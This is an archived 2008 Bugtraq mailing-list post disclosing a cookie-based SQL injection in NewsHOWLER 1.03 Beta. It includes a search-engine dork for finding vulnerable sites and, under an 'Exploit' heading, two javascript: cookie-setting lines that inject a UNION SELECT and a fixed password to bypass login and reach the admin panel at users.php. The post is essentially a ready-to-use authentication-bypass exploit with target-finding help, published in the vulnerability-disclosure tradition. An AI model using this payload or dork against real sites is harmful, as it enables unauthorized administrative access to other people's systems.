bugtraq - NewsHOWLER 1.03 Beta Cookie Handling Via Sql injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20080817165812.25236.qmail@securityfocus.com>
Date: 17 Aug 2008 16:58:12 -0000
From: r3d.w0rm@...oo.com
To: bugtraq@...urityfocus.com
Subject: NewsHOWLER 1.03 Beta Cookie Handling Via Sql injection

#####################################################################################
####           NewsHOWLER 1.03 Beta Cookie Handling Via Sql injection            ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                                      #
#Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr))                               #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr)                       #
#####################################################################################
#                                                                                   #
#Download : http://garr.dl.sourceforge.net/sourceforge/newshowler/NewsHOWLER-1.03-Beta.tgz
#                                                                                   #
#DORK : "Net Dupe © 2002. All Rights Reserved"                                      #
#                                                                                   #
#####################################################################################
#                                   [Exploit]                                       #
#                                                                                   #
#javascript:document.cookie = "news_user=zz'+union+select+3,3,3,3+from+news_users/*; path=/";
#javascript:document.cookie = "news_password=3; path=/";                            #
#                                                                                   #
#Then if u open http://Site/users.php u can see the admin panel ;)                  #
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################